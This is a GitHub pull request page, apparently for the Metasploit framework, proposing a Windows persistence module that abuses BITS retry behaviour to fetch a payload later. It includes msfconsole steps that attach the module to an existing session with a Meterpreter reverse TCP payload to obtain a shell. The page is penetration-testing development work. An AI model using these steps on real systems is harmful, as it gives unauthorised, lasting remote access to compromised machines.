Skip to content

Conversation

@h00die
Copy link
Contributor

@h00die h00die commented Jan 2, 2026

fixes #20823

Prob a good one for @dledda-r7 to look at since we may be able to optimize how persistence and httpserver mixins work together.

This PR adds a new persistence mechanism using microsoft bits. Bits, as you can read from my module documentation and code comments, is very difficult to work with and shape its behavior. From the few articles I read about using it for persistence, most people didn't actually use it for persistence. They used it as a file transfer mechanism, or combined it with something else (task) to get the persistence to kick at a later time.

Through research (aka trial and error) I determined that sending certain http responses will put BITS into a state to retry the connection at a later time without cancelling the job. This later time isn't easy to control though.

Verification

You'll likely want to make this quick (but not instant) so I used the following to test:

use exploit/windows/persistence/bits
set session 1
set PAYLOAD windows/meterpreter/reverse_tcp
set srvhost <ip>
set srvport 80
set delay 200
set retry_delay 60
rexploit
  1. Start msfconsole
  2. Get a session on Windows
  3. Do: use exploit/windows/persistence/bits
  4. Do: set session #
  5. Do: set srvhost <ip>
  6. Do: run
  7. You should get a shell eventually

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

New Persistence Technique: Windows Bits job

1 participant